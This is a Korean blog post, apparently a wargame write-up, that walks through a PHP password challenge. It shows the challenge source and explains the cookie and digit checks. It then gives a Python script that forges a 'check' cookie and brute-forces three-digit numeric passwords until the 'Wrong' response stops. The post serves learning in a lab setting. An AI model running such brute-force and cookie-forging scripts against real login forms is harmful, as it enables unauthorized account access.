반응형

문제를 보자.

 

 

Password를 맞추는 문제인것 같다.

 

index.phps가 아닌 해당 페이지의 소스코드를 보자.

 

 

소스코드를 보면 입력하는 pw의 최대 길이가 3이다.

 

따라서 패스워드의 총 길이는 3자리라는것이다.

 

이제 index.phps 소스 코드를 보자.

 

 

우리가 중요하게 봐야할것은 역시 php 코드이다.

 

<?php
if($_POST[pw])
{
        $password="????";

    if(!$_COOKIE[check]) exit("access denied");

    if(eregi("[^0-9]",$_POST[pw])) exit();
    if($_POST[pw]>1000) exit();

    if($_POST[pw]==???)
    {
        echo("Password is $password");
        exit();
    }

    else echo("Wrong");
}
?>

 

일단 if문에 들어가기 위해서는 pw가 무조건 어떤 값이 들어가야 한다는것이다.

 

그런 다음 if(!$_COOKIE[check]) exit("access denied");라는 코드가 있다.

 

이 코드는 뭘까? 생각을 해보았는데

 

"check"라는 쿠기값이 만약 존재하지 않는다면 exit("access denied"); 가 출력되며 프로그램이 종료된다.

 

일단 123를 입력해보자.

 

123를 입력하면 "access denied"가 뜨면서 종료된다.

 

즉,  if(!$_COOKIE[check]) exit("access denied"); 여기에 코드가 걸려 종료된다는 의미이다.

 

따라서 "check"라는 쿠키 이름을 가진 0이 아닌 값이 존재하고 값이 있어야지만  

 

if(!$_COOKIE[check]) exit("access denied");를 넘어가 프로그램이 종료되지 않는다.

 

만약 if(!$_COOKIE[check]) exit("access denied");를 통과 했다고 가정하면

 

다음 코드를 보자.

 

다음 코드는 if(eregi("[^0-9]",$_POST[pw])) exit(); 이것이다.

 

eregi()를 SQL Injection에서 설명을 따로 자세히했다.

 

eregi() 함수는 문자열을 필터링하는 함수이다.

 

[0-9]는 숫자를 의미하지만 앞에 ^가 있다.

 

^를 의미하는것은 숫자가 아닌 경우 프로그램을 종료시키겠다는것이다.

 

이것으로 보아 우리가 원하는 패스워드는 3자리 숫자이다.

 

이것을 이제 코드로 나타내보자.

 

import requests

for i in range(1,1000):
    print("시도: " + str(i))

    datas = {"pw": str(i)}
    cookie = {'check': '1'}

    get_pw = ("문제 URL")
    html = requests.post(get_pw, data=datas, cookies=cookie).text

    if "Wrong" in html:
        continue
    else:
        print(i)
        print(html)
        break

 

만약 응답 페이지에서 "Wrong"이 발견되지 않는다면 패스워드를 찾았다는 의미이므로

 

시도한 숫자 3자리가 패스워드를 의미한다.

 

프로그램에서 출력되는 패스워드를 입력하면 우리가 원하는 flag 값을 볼 수 있다.

 

반응형

'웹 해킹 > Coding' 카테고리의 다른 글

Coding 2번.  (0) 2020.12.13
Coding 1번.  (0) 2020.12.12

+ Recent posts